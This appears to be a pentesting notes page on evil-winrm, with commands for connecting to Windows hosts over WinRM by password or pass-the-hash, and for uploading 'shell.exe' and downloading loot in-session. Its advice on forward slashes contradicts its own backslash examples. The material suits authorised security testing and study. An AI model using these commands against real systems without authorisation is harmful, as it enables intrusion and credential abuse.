evil-winrm

Interactive PowerShell over WinRM, run from Kali. The preferred shell when WinRM (5985, or 5986 over SSL) is reachable with known credentials: it is stable, takes file transfer and PowerShell commands in the same session, and needs no listener. Which accounts can log on and the username format that picks local vs domain accounts is in Windows Remote Access. Pass-the-hash and credential reuse forms are in AD Lateral Movement.

Install

sudo apt install evil-winrm

Connect

evil-winrm -i TARGET -u user -p 'password'
evil-winrm -u 'DOMAIN\user' -p 'password' -i TARGET
evil-winrm -u user -H <NThash> -i TARGET

• -i / --ip is the target address.
• -H takes the NT hash instead of -p, authenticating by hash directly.
• -P overrides the port when WinRM sits anywhere other than 5985.
• -S connects over the SSL endpoint on 5986.

In-Session Commands

Shell built-ins (not PowerShell commands), for transfer and utility:

download C:\Windows\Temp\loot.txt
upload /home/kali/shell.exe C:\Windows\Temp\shell.exe
menu

• Remote path first on download, local first on upload.
• Use forward slashes in remote paths; the command parser consumes backslashes.
• Running the same session avoids a second listener: transfer through the shell you already have.

Two PowerShell details that bite here and are documented with the context they appear in: > is PowerShell redirection inside this session and breaks cmd /c workarounds (Database Enumeration), and a WinRM logon is a network logon, so a privilege present in whoami /priv may still be unusable from this shell (Windows Token Privileges).